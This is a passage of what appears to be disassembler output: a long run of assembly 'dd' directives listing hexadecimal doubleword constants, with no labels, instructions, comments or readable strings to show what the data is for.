		dd 105FC4Dh, 0D7F39818h, 0E4D6CC6Fh, 572608B4h,	5C006429h
		dd 0EE231A1Ch, 0AE75C5h, 5F60F62Fh, 38F57902h, 6C2A5600h
		dd 0B8119CCh, 0A4BB0EB8h, 8C2E151h, 8F602FD3h, 25023815h
		dd 0CBA276DDh, 0EE544002h, 7B670458h, 0C34520BFh, 0E5E0F355h
		dd 78C42EA2h, 31C0318Eh, 0F7066E7h, 2B902339h, 0F3562AC0h
		dd 9272C3DDh, 0FD2239h,	0AA7F295Fh, 3B43DD0h, 4E0ACFD6h
		dd 0F098796Ch, 0AB009C1Eh, 2D89A872h, 6D8725h, 90DC2E1Ch
		dd 4595169h, 0D18AD70h,	191812F3h, 0BA2D3A93h, 58163280h
		dd 0E4ADC2E6h, 2704EEEEh, 6CB840D8h, 113571C0h,	4B29037Fh
		dd 41EFF5F4h, 5AFD4000h, 1CDA2B06h, 0E68C0348h,	0B5B991BEh
		dd 8FC460A0h, 0EFCAE100h, 890F7025h, 8E1E01AAh,	0ADA4667Dh
		dd 0CE2030D4h, 0BB260409h, 0AFD80025h, 143FF4FDh, 9038F929h
		dd 98ED3403h, 0E5F028F7h, 7F0066FCh, 678353D0h,	38A6FBA5h
		dd 88707A2h, 0F0F3816Bh, 0A0D12086h, 2F6DA8A8h,	0B11B3800h
		dd 0B2D2619h, 9D54005Eh, 7F972811h, 98008216h, 4B4F2391h
		dd 0D9B992h, 0AB4280FFh, 0C44A62CCh, 2A1DDD00h,	0FE387393h
		dd 0F459002Dh, 9AE93D3Ah, 360612B0h, 0D3F2ABDCh, 0D2040BB0h
		dd 27823F38h, 30494F4Bh, 0E40321B5h, 0D60E4D5Dh, 0FC613F31h
		dd 20104494h, 0F301FF79h, 0CC8AD45Ch, 7814E948h, 4627448h
		dd 7FFE9866h, 1BEBAF80h, 2FC50014h, 4D55A0DFh, 38A02CEFh
		dd 8A00A5B0h, 7B72A139h, 3282DAh, 1B57AD8Eh, 8147AE24h
		dd 535050C7h, 13409A80h, 0D9C70026h, 3A328E42h,	2D54A08Dh
		dd 3B836D60h, 0C8E0D612h, 3268FD42h, 2B0E38B2h,	8333DB7Bh
		dd 45A1D2h, 0E9A413C8h,	0B9321765h, 3D0E3600h, 0A36CD0ADh
		dd 261101E8h, 2BD27035h, 0C9F5E40Fh, 0B05C1600h, 0D8D9907Eh
		dd 70B8DBh, 5352EA96h, 0D3337A42h, 0C8D6E200h, 61A9646Dh
		dd 73A6003Bh, 0FB88D1EAh, 0B10357CFh, 556781D9h, 20980015h
		dd 0BB5E1A8Ch, 0E700AAB5h, 69A83DCDh, 0C05113DEh, 8BFB2AE1h
		dd 0BA03C995h, 0A5E7847Bh, 48A9FA79h, 0F21396D4h, 0CB8D000Dh
		dd 0EF7A5AE5h, 0FC0D8C5Ch, 6828B889h, 0B75330h,	1E54AF7Ch
		dd 0BE31B210h, 0E2830F07h, 90E0D671h, 3123D939h, 14303BAAh
		dd 29EBCBCDh, 0B74989D8h, 0D518120Ch, 6F135136h, 2343A14Ah
		dd 0D8541684h, 17032B34h, 1B8C15D0h, 0DCCAE8A4h, 0D9830E37h
		dd 2F892E3Ch, 4F33A021h, 0B487C448h, 59073A73h,	31E52A85h
		dd 75EB5C0h, 0F751C36Fh, 71074E13h, 0C40DD53Bh,	6C795730h
		dd 0CA2C03D6h, 0DA0B98CFh, 0EE187EB8h, 44547C50h, 0FC9EC88h
		dd 41A126FDh, 51A05AE0h, 0D060CB2Bh, 91F0C64Ch,	0CA2209ECh
		dd 0B68015F7h, 0A908B856h, 52CD513Bh, 5E200C8h,	0A763451Fh
		dd 1ABE00B3h, 0B0F6DDD8h, 340ABDAFh, 0F0276721h, 0BA245B83h
		dd 4991A82Fh, 4EE73C8h,	1D4AC3ADh, 40504358h, 2C04F0D3h
		dd 0BEE0374h, 202E87E3h, 8081DD8Ah, 800A5C1Eh, 3FC9C2D1h
		dd 82D37Bh, 0C36DBA11h,	65B4C40Eh, 3A1CAE00h, 108FAD45h
		dd 1261C05Fh, 0B7F71B2Ah, 0DA430B07h, 3113A160h, 1CEED0ACh
		dd 125A0E6Bh, 71381A3Bh, 8503F2DCh, 6ECEA3C1h, 0C931D88Fh
		dd 43490073h, 0B0184C30h, 690FE660h, 181B53F2h,	7CF4439h
		dd 3BE27F3h, 8E9BD01Dh,	120097CCh, 6759653Dh, 0E63C8A74h
		dd 0BE640049h, 0D562110h, 950E480Eh, 8082DC12h,	0B74F2946h
		dd 4EF03A1Fh, 20660A12h, 3B0FC42Ch, 7349F300h, 0CA3E4C69h
		dd 0D49700ADh, 0EF036EABh, 6F15D5BBh, 9824B8h, 2269B63Dh
		dd 7E26A420h, 0E006EA8Ah, 19820C78h, 1329295Dh,	1985354h
		dd 75F5BC0Eh, 64894797h, 99C4DA00h, 74E01EA2h, 715E8087h
		dd 4C7C8890h, 0DF92D900h, 0F179BF2Ah, 691E0521h, 80F261AEh
		dd 0C129A3ADh, 0A6826E09h, 0AAAC203Ah, 49566DA5h, 0E000E0BBh
		dd 2D508EAFh, 0B6000713h, 8426CAFDh, 48116Fh, 4FEF596Dh
		dd 61ED362h, 94006C91h,	86A9A591h, 6316002Dh, 0F8BFA864h
		dd 0E500039Eh, 19FF9B89h, 39A977B0h, 1E1E7A69h,	2CAE4054h
		dd 2AB7480Bh, 22EE0C0Eh, 643103A7h, 0A0D89209h,	0A36F61B4h
		dd 0FDC80072h, 1C2D541Fh, 2C0074BEh, 0EF86360Fh, 4CF4A658h
		dd 0A01258DFh, 0A78469Fh, 3301A137h, 204A1E6Bh,	0B4C07441h
		dd 0B0F401ECh, 3EA3A1FEh, 0E802210h, 609C8B5Dh,	4B7EAF48h
		dd 305C7BBFh, 0DC215613h, 3074369Dh, 899C209h, 41A0980Dh
		dd 66E81D16h, 7B9DC0A9h, 0AAD19729h, 70517E11h,	0BE8AE631h
		dd 9DEDE866h, 0DEE54100h, 622F5E74h, 93A607C8h,	20D290FFh
		dd 282C05BEh, 0FB00509Ah, 0ED685AB9h, 0E4D996B1h, 76F0020Fh
		dd 94105B22h, 12BCB084h, 80A7C808h, 0DE0265FBh,	7D007E49h
		dd 84AB18B3h, 1C19D923h, 9C20BAh, 2D9B79EFh, 0E628484Ch
		dd 0FB54C8FAh, 4900AE6Ch, 0DE5BBE26h, 0CF022D7h, 33A5A903h
		dd 2A540721h, 4800EBB4h, 7C78B9E4h, 29605FAEh, 3C867BAh
		dd 8AF1935Eh, 21CA638Bh, 47EFD360h, 0EDA0C609h,	5498003Bh
		dd 75857895h, 0B1BA00E7h, 905A7DF3h, 0DA3834CEh, 88252AB4h
		dd 0EFF98D00h, 0D181ABC2h, 186F024Ch, 24679415h, 0C9B64C80h
		dd 4500A7C3h, 4F0D5A17h, 2CDBBACh, 1854EFC1h, 8080E98Dh
		dd 5EFC041Dh, 2462E9h, 0B43B9E33h, 0F4FF7F5h, 7FAFB122h
		dd 0E9DF9142h, 0A5902261h, 71128C26h, 99A401D1h, 0A9A2621Dh
		dd 0AA76F0AEh, 2F855406h, 0B9871Bh, 86C50992h, 0EA5BAEE7h
		dd 2DEF2C00h, 0A70BB969h, 23DC02B1h, 712661Eh, 68030864h
		dd 324D781Ch, 2EF388C2h, 0A80B0E31h, 0A50098FCh, 5DF4F208h
		dd 1694121Fh, 916FB780h, 3C67959Dh, 0C8094C3Ah,	0DC985B19h
		dd 215F6F87h, 989063C4h, 0F8EFFh, 0E8463B8h, 0AF364891h
		dd 1E479703h, 262EB429h, 1E9013C1h, 3EA13C9h, 1B497D28h
		dd 720BCEF8h, 1C8961C0h, 0C3AB53h, 0E73CCB6Dh, 0CE528AD1h
		dd 0A7301E00h, 0DFAE8510h, 516F26A8h, 0F5710359h, 41001807h
		dd 0DD567521h, 186F26Bh, 0D51F1D9Fh, 0C3929024h, 61831EA8h
		dd 0BF892103h, 126EF19h, 0E3638B39h, 20788288h,	5E0CB7C3h
		dd 20177BADh, 7F687DA5h, 0E7B507ACh, 5AA1056h, 9580401Fh
		dd 41F58B2Ah, 6B2FE2C0h, 9FFCBFh, 543AFCCh, 0C3904FAEh
		dd 2E98E500h, 3ED07DD9h, 8C86542Bh, 0F131006Ah,	0DCEEB7EBh
		dd 0D000D58Ah, 40A4FB63h, 2693E405h, 42BCFD82h,	88E675CDh
		dd 92D66007h, 33C02CD7h, 56856Ch, 7DAA57A5h, 36D0C9C0h
		dd 23F70B0Eh, 0A9821D9Eh, 488D66C6h, 78FCF3Ch, 0E54DFA6Ah
		dd 0D6F9F0EDh, 7B00C424h, 8206E119h, 0FAFAA26h,	0D5BD446Ch
		dd 488C2033h, 0A22EFD91h, 7E00E3B3h, 0A668D9EDh, 78830275h
		dd 21CAFB2Fh, 0F10524C0h
		dd 0D1F9F61Ch, 3EB600F9h, 5BE878ABh, 56DE2C68h,	0B9244058h
		dd 1000F827h, 0EAFBCD80h, 1CC87889h, 836442F0h,	35B87A0Ch
		dd 0C9038100h, 239A994Eh, 83D91C6Eh, 49DC135Eh,	0F08858FCh
		dd 86040D0h, 0A21C7A70h, 6A80BF80h, 0ED445B0Eh,	0DE64543Dh
		dd 0C8E1489Eh, 96F70EC0h, 6300C73Fh, 53A40350h,	0C08267A9h
		dd 0ED25E721h, 8E3FECC6h, 39D600D0h, 19CF6312h,	5BDC0ABEh
		dd 2CE4EFB7h, 0F5D60DCh, 80001F1Bh, 8CDAE87Dh, 1C6022DFh
		dd 8C371667h, 64B11536h, 6339B600h, 0C3878B25h,	9F8E00DAh
		dd 29D6049Ch, 1C922DBEh, 4CB01E04h, 0D48152EAh,	604766FAh
		dd 6B230CE0h, 1A79F0h, 9D44D503h, 0A8EB7B0Eh, 4847994Ah
		dd 9B0EB548h, 25F9D851h, 9D3503E2h, 55931A74h, 498EDBC8h
		dd 0B037290h, 1EC9C38Ch, 7487A021h, 0E6FD2498h,	0D9C00001h
		dd 4B64A088h, 15620C03h, 2099A9h, 618BF791h, 0BE2ED543h
		dd 9C1F7701h, 665DE575h, 342983FDh, 494C1300h, 0B88E92Fh
		dd 5A1DBF00h, 0FA835362h, 0D9A509E7h, 0BC4B2724h, 0E675A190h
		dd 9D8AF1Fh, 0B7210E04h, 3B49488h, 3088EEC4h, 0D9D04E23h
		dd 0B717496Ch, 48000961h, 1AABEDFAh, 0F3AD1324h, 0D5E800A8h
		dd 0EB67E8BDh, 7B900860h, 0DC8AF2h, 0D83D6C5Dh,	5244BBB3h
		dd 91CDFB00h, 59E97B61h, 1B072475h, 10D8804Ch, 9B69D464h
		dd 0B5FCF100h, 49E13968h, 45513CF6h, 0A400E838h, 0B0184BA6h
		dd 680FB11Dh, 725C4881h, 54BC6021h, 246CA5F0h, 80204D56h
		dd 0FDBD9819h, 4A1B020Bh, 0C7F05901h, 4EC14028h, 0AD314449h
		dd 7D0AC117h, 7F439980h, 210C60F2h, 45801491h, 9120BDFFh
		dd 0B5124E9h, 9C202758h, 59EA81DCh, 0A3C30D00h,	0EE701E28h
		dd 0A5E803EBh, 1F306EAFh, 198E1DC0h, 94030B12h,	9B339030h
		dd 4A1000F4h, 22EF7CF3h, 137A7012h, 16B6DC0Fh, 9820D683h
		dd 4CF8A120h, 0EF01D04Ch, 0B830CF28h, 0EAB9801Ah, 9F0A8985h
		dd 918C1F4Dh, 0EEBE4553h, 2C54C813h, 0C15DB100h, 0E85C9807h
		dd 2B540795h, 3BC4CD06h, 740A8410h, 5A004176h, 4FD76181h
		dd 227AA32h, 1A7788FBh,	0C4C00A30h, 6C18D292h, 5A3921B8h
		dd 0DC6100B2h, 5BB451EEh, 681F5E91h, 0FDC11356h, 9E09B0EFh
		dd 83824E5h, 0AE827783h, 5794A4E4h, 6850CF33h, 3222D3F9h
		dd 114034B9h, 8B1246C0h, 44E06C00h, 3634B6Dh, 0E4AE4CC0h
		dd 20362017h, 5C1EB2E4h, 0D0B8D31Ch, 96483740h,	0F91A64Ch
		dd 1998FDADh, 0A59D2CA0h, 81E0ABDEh, 0CA4E39C0h, 72956Ch
		dd 65D8792Eh, 1E2B3F80h, 6D00389Ah, 389D1D49h, 0A066EDC0h
		dd 518A8Eh, 0B11E4EC2h,	0E87E9F56h, 2EFF601h, 0AC954321h
		dd 200E4C2h, 9E2ABE0Dh,	574055D5h, 70024D3h, 0AAE55BDFh
		dd 2C454EEh, 23E0B437h,	8CA70862h, 0DB6FB083h, 2CB1109Fh
		dd 9DFD8780h, 229A862h,	5B85B21Bh, 10E407FAh, 4D887104h
		dd 82FC0Dh, 0B7FD80CAh,	1D045A4h, 0AEC50320h, 20793954h
		dd 0CCA1F6A0h, 64A99219h, 81E04C90h, 0CD4148DFh, 0D6FB0076h
		dd 51AFE7A5h, 825801E4h, 0C780DD34h, 0E146AEFAh, 0C195C25h
		dd 80C89E77h, 58E56D4Ch, 40C1AA4Fh, 0C333B66h, 54362DE0h
		dd 0A018C030h, 0B1124E64h, 9E020078h, 8A94BAD6h, 87FE6300h
		dd 924451DBh, 9B783034h, 77C1C950h, 1B360807h, 68CC5B47h
		dd 65F02654h, 896C18B0h, 0D40EB9BAh, 1F8BD391h,	5F7F007Ah
		dd 302CEE09h, 0B4A0751Eh, 0D0B5011Ch, 2D125E0Ch, 41C004Ch
		dd 512871F5h, 7E7F04D7h, 8E918h, 365C6D2h, 676900EFh, 11E8DB9h
		dd 4E88276h, 251557E2h,	51B01B83h, 0D839A0EBh, 7F004D7Ch
		dd 98EF69E1h, 0E2D84414h, 0E3480E02h, 21F22E57h, 2235DA84h
		dd 0B8611E00h, 0F6FAF800h, 961277AAh, 8B3E8080h, 9F6DBD85h
		dd 4E9E5Ch, 0CEC6AD7Bh,	711D5040h, 0AA2703A2h, 66D0F616h
		dd 0E1B95AF9h, 0C07EFC5Eh, 5B4A9009h, 34C0E812h, 0ABF900D5h
		dd 0FD753E08h, 0F20EF720h, 0C26A72EBh, 400347E4h, 37D45FB2h
		dd 0B0A12535h, 61690B97h, 9F7A1400h, 8B40F55Eh,	4BA07D1h
		dd 0B1C160h, 130827A5h,	0A66AEE16h, 4482C15h, 19E7FB6Ch
		dd 58AF3CF0h, 30580AAEh, 0C900C12h, 0DF281DE0h,	601FAB78h
		dd 48FFB392h, 0C74CC190h, 7730836Bh, 8EEE45h, 4BEF65AEh
		dd 9520D5B2h, 32780B1h,	0A398ABF8h, 2201A113h, 1979D450h
		dd 89D50052h, 0FD38ED48h, 0A9242CA5h, 0A42C64F6h, 21266811h
		dd 813C6564h, 842EB41Eh, 0E8199411h, 0A41C1488h, 0F76C7AACh
		dd 8BE670h, 73989D67h, 0D5D11CDCh, 0BF07181Fh, 0A98800E5h
		dd 72AA157h, 0A6EF37FDh, 0B5426069h, 0B62CEE12h, 460C4C0h
		dd 1334447h, 6256358Ah,	0D08E49FEh, 0C8025E9Ah,	0CE68CBB3h
		dd 1F54E09Ch, 326ECE0h,	971D79BEh, 0B8103476h, 0A9152EA0h
		dd 0E0508407h, 20464FB7h, 583E0CCh, 9B499201h, 0CA45C1A9h
		dd 348FED0h, 56D66195h,	0E9004C57h, 0E6FFC1B2h,	3C3D3CA6h
		dd 0BE82C988h, 9E678F21h, 3E433468h, 16730D00h,	57067CE1h
		dd 0F1F90ECBh, 82A0997Ah, 0A478B652h, 0C855A924h, 0EEBF7F40h
		dd 0E9DD0071h, 181A1C20h, 0CD002DB8h, 5C2EA66Fh, 5546A68h
		dd 93A4953Ch, 131380E7h, 0ECB9A344h, 3A5BEF00h,	3CD4C2FEh
		dd 2A2D1E2Fh, 0B00878B8h, 85636701h, 33D95B19h,	5D03F02Dh
		dd 261B181Eh, 94EE00C4h, 12C4616h, 2738D070h, 7073FC19h
		dd 1CE04360h, 5C74A8A8h, 0C700BBECh, 57AE33E5h,	0E29EEEh
		dd 0C81DD5F7h, 51953B87h, 2D042898h, 2662B1DDh,	6DA97880h
		dd 29C70725h, 8E569E0Eh, 212A72C3h, 0D519C6B0h,	0D950ED50h
		dd 5AE0A4F2h, 13149F16h, 0FEA84090h, 0E4DD0045h, 43D06D80h
		dd 1900C568h, 0CD2C2257h, 0F45456AEh, 0DCAB2AA9h, 11D50094h
		dd 701DAFE3h, 0FA758E0Eh, 904B90B6h, 276A684h, 48D40E6Eh
		dd 6C529844h, 0E5577A02h, 0E13F3AC4h, 0E8FCF010h, 70A17417h
		dd 6731009Eh, 0B7480940h, 69686403h, 2700E779h,	0E8893E0Eh
		dd 87302C68h, 12283246h, 5E00D059h, 6B1AC235h, 319D0381h
		dd 5DB279E9h, 0ECA819A3h, 0F925A36Fh, 4E401098h, 54910006h
		dd 0D1770BE0h, 0CE01B65Fh, 0A51AAA08h, 0A8326221h, 408C2C2Ch
		dd 890D33EAh, 7A5A1F02h, 7DE286B5h, 913B41C0h, 779EB605h
		dd 0FCC1E9CDh, 7023C288h, 0CF646600h, 9AA743D2h, 0FE10B712h
		dd 0EC908600h, 0B1F5B1Ch, 0A1190EEEh, 0DB64010h, 2D268898h
		dd 4937625Ch, 21544859h, 0A9BB0F68h, 0AE806773h, 7B084C3h
		dd 6DEDB41Dh, 902DE489h, 0F4139D64h, 0DCE870h, 0EAE9535Bh
		dd 6BA1C75Ah, 28297500h, 0B0F3BBC4h, 61706E06h,	0DD55C0DCh
		dd 21096A04h, 8970A64Ch, 0A84C8484h, 0A994CCh, 0B63E963Fh
		dd 19FF4473h, 0C9E2E930h, 0F7E8B4h, 0A6081DEFh,	7FD9C913h
		dd 0FA004098h, 87C6158Ch, 13A2E358h, 0C8D169E7h, 7BE4E0B8h
		dd 0EE091AF4h, 531B45h,	0CBDE2288h, 7E4A40Bh, 25695E77h
		dd 4DE08F51h, 97450F03h, 1E01D52h, 83D5E24h, 0E8CCC020h
		dd 87EE049Fh, 0C02F2A95h, 0CE430229h, 812C564Ch, 0B7555D42h
		dd 0EFF03CE9h, 0EE08005Ah, 50AEE004h, 0C40FBE48h, 0C36C89CAh
		dd 0F0C85620h, 889CABh,	940A5B74h, 0B434A317h, 21BA4000h
		dd 2B59DEE3h, 0D75E2CD9h, 0C07080B4h, 1DF2A9EFh, 0CE780184h
		dd 1E0E13FDh, 0F4A1605Ch, 9FB51F00h, 38EB126Bh,	13A00033h
		dd 915BFCB2h, 373F100Dh, 4C4E83FDh, 0A8C4D9CDh,	14AFEA3Fh
		dd 0D476F5C6h
		dd 36272B04h, 136409D2h, 5FCCF848h, 0BF85008Fh,	950D06A5h
		dd 5007A79Ch, 76819771h, 0D17AADF2h, 8C560518h,	0BBADC41Dh
		dd 0D0E5DDC0h, 6E721EBEh, 5EF40EBh, 3AFF038Ah, 8077CC00h
		dd 6DAFAEC0h, 4ED70A7h,	79B813EFh, 38308807h, 0E20C907h
		dd 902BBF66h, 569FCD0h,	0B6C77792h, 9450C01Eh, 4807AA31h
		dd 49505A6Dh, 4C357250h, 96163895h, 58FB8887h, 0BDB74094h
		dd 0CC312E83h, 0A11EF150h, 1C270C7Dh, 1D811020h, 6900286Bh
		dd 4AC06658h, 95F44BBh,	0EC521871h, 0FE610049h,	0AF229890h
		dd 1289F000h, 42FBAB9Dh, 0DAB6011Ch, 0A5B473B7h, 85BD2101h
		dd 522769E8h, 22A3A482h, 4E20152Ch, 4C3989C7h, 19007A3Dh
		dd 0A9BD730Ch, 88008545h, 27133712h, 0BE0810h, 30C7B533h
		dd 0D526F7DBh, 2A362C18h, 360E9D9h, 5BE8818Dh, 908F0BD7h
		dd 0AFAB3F5Fh, 0EEC10F0Bh, 8C4004Fh, 0FEF86368h, 93D02E30h
		dd 0B10B00A8h, 0E40456AFh, 225C0F5Ch, 469E92Ch,	575C1Fh
		dd 938C70A2h, 5A79F799h, 2472DA13h, 0ABD5790Eh,	0A7C88ED0h
		dd 31407923h, 72AC37F5h, 0D41A00A9h, 9FC5C268h,	123F8AF0h
		dd 0FA2D042Eh, 0F880E85Ah, 0B859B390h, 48660EECh, 0D0520B07h
		dd 0A849C624h, 0B2417A00h, 83B079F5h, 6851127Ch, 1D6809DDh
		dd 8680BCC8h, 8D6D8528h, 155A5900h, 4B79D8DFh, 88B961h
		dd 52B30BA2h, 1400D43Ah, 5FCF92ACh, 13CEAEFDh, 0B8385116h
		dd 644800D0h, 8A4B1940h, 0B3C9001Dh, 57BC32BBh,	0DCB11AD8h
		dd 3D44CD00h, 0B36D7CFh, 0EF19B363h, 1294B810h,	92B85378h
		dd 0E790D080h, 0D9AF3Ah, 0B5B00ECDh, 37C0627h, 0DFAE9E2Fh
		dd 0C0BCBE23h, 0A47661Ch, 6B803454h, 6F513600h,	0A31D0250h
		dd 95E67372h, 0F1387010h, 0F4150100h, 82596FCCh, 0D6DB04C4h
		dd 0A40B6989h, 9F3E60A0h, 958D93D2h, 4C31B089h,	24ED152Fh
		dd 0BF015400h, 5A2ADDB5h, 0DE69A90Eh, 47807F6Eh, 0A019B688h
		dd 1379C903h, 8C00305Ah, 0CE500D31h, 0E5EFF37h,	0C1A0AAD6h
		dd 0C4E8C05Fh, 1246A830h, 37FD83Eh, 781F1834h, 0D5D1C032h
		dd 0A4423FF6h, 7588884Ah, 0B3127200h, 831AF8ECh, 45A54E5Eh
		dd 0B4882140h, 0AB09EB0Ch, 17F51B2h, 801B1D3Ch,	7376C980h
		dd 55BBE469h, 0AA14DCECh, 305466h, 918685CEh, 0C76EFDh
		dd 3CDEB19Dh, 5C446888h, 80FB012Fh, 4C9180D0h, 608905A8h
		dd 80595E6Ch, 36BA4938h, 13E63898h, 0D290F009h,	88490888h
		dd 0C86F2141h, 1FA20h, 491D69D1h, 4A06A845h, 0B40B1078h
		dd 0A81CED48h, 0FDC0C0E0h, 5C7A4BEFh, 363C6816h, 0F843D504h
		dd 3178C0C3h, 0C10262C7h, 268B8F87h, 547A1Bh, 4DDF9467h
		dd 3FF75C51h, 27495E00h, 55EE2089h, 83D40FFAh, 31582C7Fh
		dd 510E3129h, 0A025EA40h, 809712CDh, 7589AC5h, 2E3D1178h
		dd 8C4E45D9h, 0AD00B89Ch, 8F4ECDAh, 18E79F1h, 7FC1F819h
		dd 4764E58Fh, 9E1F73B1h, 71614800h, 0D96E5B1Bh,	0C27413ACh
		dd 36B4C18Dh, 9AA02423h, 3DA5E600h, 184D404Eh, 0A8B918D9h
		dd 6D4B40E2h, 2E072013h, 6C8C0421h, 0E6F6E0h, 0B7356281h
		dd 21A73258h, 0D1E4C504h, 0E1808B98h, 9DA8ECh, 0EEDBCEF4h
		dd 0E7C7AD90h, 11614D00h, 77F84BF7h, 91963881h,	501ABA01h
		dd 8014518Ch, 9487F039h, 0ABFB9Eh, 0A342F802h, 0F624DCD6h
		dd 0F2485303h, 0BB30C5DDh, 2B3001FFh, 0AA078BE4h, 5D22FCD7h
		dd 6B447B00h, 0E819594Ah, 6A58C02Ah, 0BFF031DEh, 0DC789600h
		dd 0C5369C1Dh, 0FFCC0A0Bh, 1EC7A47Eh, 0EC2BC09Eh, 8DCB45E8h
		dd 87AB8200h, 7F442C51h, 78A00B7h, 0CD010B38h, 8CFF61A7h
		dd 39215980h, 0C71B00A8h, 38F0D242h, 523311C1h,	0F0C8D90Fh
		dd 128C68h, 3DA48115h, 515B3F29h, 930A85E8h, 409801C8h
		dd 0A31E1F00h, 0D68E3Ch, 158A0A6Ch, 0A613415Ch,	0FE1413B8h
		dd 7580360h, 0E9BD51E1h, 31802A36h, 52919D85h, 5C818010h
		dd 0F560D4C5h, 61AD7C70h, 0AEB71913h, 0CC16FDA7h, 120053C0h
		dd 8F8C6A06h, 608BB23h,	0B7F4054Bh, 0CF2314Ah, 0D800A271h
		dd 4C674EC1h, 0F72C56h,	0B4815F77h, 0B09A769Ch,	72EF8420h
		dd 82740039h, 6A7ED06Dh, 8E50C542h, 0F80092D8h,	457B5E8Dh
		dd 7568ECh, 0F035308Ah,	0F4D4BF9Bh, 0E8212628h,	31070C00h
		dd 8841DFB5h, 367A0023h, 57EA42CAh, 0B9E89BA2h,	0F6F80650h
		dd 0E70BF9C3h, 4652D9B2h, 5B10B980h, 75C740B1h,	4170F5F4h
		dd 82042000h, 4535E16Fh, 0A89D55B5h, 1C44C2h, 6640D11Ah
		dd 0ED7B5C4Fh, 1940839h, 0DDABA27Ah, 20E8CB4Dh,	0AF910AD4h
		dd 6FF8CCE1h, 0C4978540h, 7303F960h, 0A178FE6Ah, 9A9FC82Dh
		dd 304471B7h, 0BFB19B2Fh, 1A3559D7h, 70047924h,	5607AB3Ch
		dd 7D4D40EAh, 27615FE3h, 0F280B020h, 7D567D0h, 7E2D26D9h
		dd 28551091h, 11009F66h, 14752A50h, 28B5CFFh, 91FCCD6Ah
		dd 0D440C3EBh, 254CC07h, 0AA004728h, 0A580A24Fh, 863D4Dh
		dd 0B1FBFE97h, 5A555D0Fh, 91624630h, 300972ECh,	0EF114F32h
		dd 0CF00C3D8h, 0BFC594B6h, 93B167Ch, 0D4AD3815h, 82261003h
		dd 55A1B3C9h, 20000B0h,	0A8A2DF8Fh, 424F0101h, 25E436C0h
		dd 370F8050h, 3A8C01F9h, 6A9A5727h, 61282482h, 0B7DBC913h
		dd 0FC6B3420h, 0E2850AD9h, 0CA6C66h, 0B8FB0292h, 0A4078958h
		dd 0EFEA59FEh, 3EB14A26h, 0B1008428h, 881CF44Dh, 69549A40h
		dd 46289D84h, 0E551747Fh, 7CB5E448h, 0B696D702h, 13B29A63h
		dd 18DF19E8h, 0A001C918h, 0CA2E1h, 0B8EAF705h, 974D9ABh
		dd 5698CA06h, 691144h, 0CED0A055h, 0E6B168EAh, 78AF7900h
		dd 0B0702E28h, 0B8EC001Eh, 1438E10Eh, 3483073h,	8B728008h
		dd 759BC70Ah, 66DD092Ch, 0E810B693h, 5907A7DBh,	0E4315B0Fh
		dd 0C8C12Ch, 3681CFB9h,	0DBBBEBAEh, 2C0DBD00h, 1A0A9BAAh
		dd 302F3035h, 0DD114F61h, 4485FA00h, 0D64E5D39h, 77778F2h
		dd 1AE5C284h, 83FB7117h, 0C2B6E9ECh, 96009C44h,	1E550759h
		dd 0F7430AEh, 42B605A1h, 0E581E980h, 3C03B38Fh,	2F38A804h
		dd 5F713848h, 0EF06A487h, 4D97E044h, 0F9074F6Ch, 0A5BF1F65h
		dd 0C8400505h, 9BCED662h, 0B22D00AFh, 352E5F3Fh, 500085F4h
		dd 0E283A73Ch, 0D426593Eh, 3500A491h, 0AE69EABFh, 0B026823h
		dd 0C51DB8AAh, 1C904027h, 2C6F00E6h, 44329152h,	7B0561F5h
		dd 7F9DCE4h, 0CBE66C00h, 0FE7D448h, 2FC8E6Eh, 1166A5E7h
		dd 0C75599B4h, 7830DBA0h, 0F6382400h, 0B5483C59h, 39B72AA9h
		dd 0E79B0CCh, 22379992h, 9A2FB240h, 0AF090523h,	75B093CEh
		dd 810BD89h, 51FA0C17h,	4A7CB26h, 3B0EF868h, 9296C01Dh
		dd 16AF0AC9h, 4AA5CF8h,	0CCB5AC93h, 0E33B9878h,	0B08F00E1h
		dd 813B7292h, 534314F3h, 42006C06h, 0B0E3EBB1h,	9398C08h
		dd 232E8528h, 0D3C0D357h, 0C0374550h, 0B5CA1C51h, 0BF0043B8h
		dd 0BB21C41Dh, 31FEE34h, 453C6D72h, 59189C6Ch, 0D3C99EE5h
		dd 6DB8008Bh, 38DD9BB7h, 4307FE33h, 1A5FBF9h, 7F1531ACh
		dd 63BF3F7Dh, 52D0B401h, 0C09DF2E3h, 5912FBDFh,	6442E985h
		dd 0A05B3214h, 7E4D4288h, 445900E5h, 0D6438572h, 967F7A71h
		dd 2612D15Ch, 3D40A8E3h, 28B2A1F6h, 889E45h, 11C83F65h
		dd 0CB5EFB14h, 24C46438h, 0C58034A9h, 97B9365Bh, 6F600DDh
		dd 0C4AE7D62h, 0B0A4B71Eh, 3BBEC900h, 266321F0h, 0E67400DBh
		dd 0CF94966Ch, 4C90CD0Eh, 13505B48h, 0B80B90FAh, 158003D6h
		dd 0C5CDEB7Fh, 0B08C20C8h
		dd 0D3FA079Ch, 0ACA0A88h, 0C63F408Ch, 0A0008011h, 0D9A6623Ah
		dd 0F4FFB333h, 9D84008Eh, 77E96A81h, 89289B52h,	85001CD5h
		dd 797BD962h, 0CF6CA4h,	45D06591h, 0F5BBCC66h, 9F303607h
		dd 0BD45A338h, 448464CCh, 0C7033D9Bh, 33C30E79h, 0A42085E6h
		dd 0E07FCAh, 0DE965D16h, 59CD1808h, 80BC2C58h, 0B1497143h
		dd 0A05C3ECAh, 0CB215B01h, 4CC7D644h, 0AA38E2B0h, 5A358093h
		dd 6A78409Ch, 7F03A96h,	0D5414703h, 161F9285h, 9C28CC0Ah
		dd 97939F8h, 9352E802h,	0E8042369h, 3DD1B8FCh, 0FC805445h
		dd 7396C8A1h, 0DB363AEDh, 54071B0h, 30BA8021h, 277848C5h
		dd 0EA35AD40h, 6031C0A4h, 0A088962Eh, 445C5901h, 16139199h
		dd 1529DC70h, 883E303Ch, 40495212h, 2C466708h, 87007E57h
		dd 0DF3AF350h, 5886E609h, 120313C9h, 8F309159h,	2B1230D6h
		dd 6808737Ch, 0FB538051h, 8B4E58Eh, 27EDCD00h, 0C822A393h
		dd 0C209043h, 28B29BD0h, 58A83471h, 0A6006480h,	0E840E067h
		dd 0F0709Fh, 8FD4DABBh,	512ACDC7h, 0E0394C6Fh, 86295A37h
		dd 84B2017Fh, 52F08382h, 0F5218012h, 0D928983Fh, 445D266Eh
		dd 0EB5F005Ch, 4749F150h, 72D0EF01h, 0A7E04814h, 0A39B818Bh
		dd 0B5466C10h, 4C38D1DFh, 0AA0F8004h, 7F247C4Bh, 0A136049Fh
		dd 0C17F2520h, 82890CD0h, 0D9E4A7E0h, 0C1C8002Ah, 0F11E69B0h
		dd 90C13BD6h, 953148C9h, 5950E347h, 949235h, 88F1BFFAh
